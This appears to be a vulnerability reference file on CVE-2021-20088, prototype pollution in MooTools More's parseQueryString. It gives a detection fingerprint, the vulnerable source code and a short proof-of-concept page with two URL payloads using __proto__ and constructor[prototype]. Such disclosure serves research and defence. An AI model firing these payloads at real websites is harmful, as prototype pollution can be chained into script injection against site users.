BlackFan Add CVEs History

1 contributor

Executable File | 58 lines (47 sloc) | 1.71 KB

MooTools More

URL: https://github.com/mootools/mootools-more

CVE

CVE-2021-20088

JS Fingerprint

```
return (typeof String.parseQueryString != 'undefined')
```

Vulnerable code fragment

https://github.com/mootools/mootools-more/blob/687363b141c7d6abb89e6716462bbd99545f81e5/Source/Types/String.QueryString.js#L46

```
parseQueryString: function(decodeKeys, decodeValues){
  if (decodeKeys == null) decodeKeys = true;
  if (decodeValues == null) decodeValues = true;

  var vars = this.split(/[&;]/),
    object = {};
  if (!vars.length) return object;

  vars.each(function(val){
    var index = val.indexOf('=') + 1,
      value = index ? val.substr(index) : '',
      keys = index ? val.substr(0, index - 1).match(/([^\]\[]+|(\B)(?=\]))/g) : [val],
      obj = object;
    if (!keys) return;
    if (decodeValues) value = decodeComponent(value);
    keys.each(function(key, i){
      if (decodeKeys) key = decodeComponent(key);
      var current = obj[key];

      if (i < keys.length - 1) obj = obj[key] = current || {};
      else if (typeOf(current) == 'array') current.push(value);
      else obj[key] = current != null ? [current, value] : value;
    });
  });

  return object;
}
```

PoC

```
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools-more/1.6.0/mootools-more-compressed.js"></script>
<script>
  String.parseQueryString(location.search.slice(1))
</script>


?__proto__[test]=test
?constructor[prototype][test]=test
```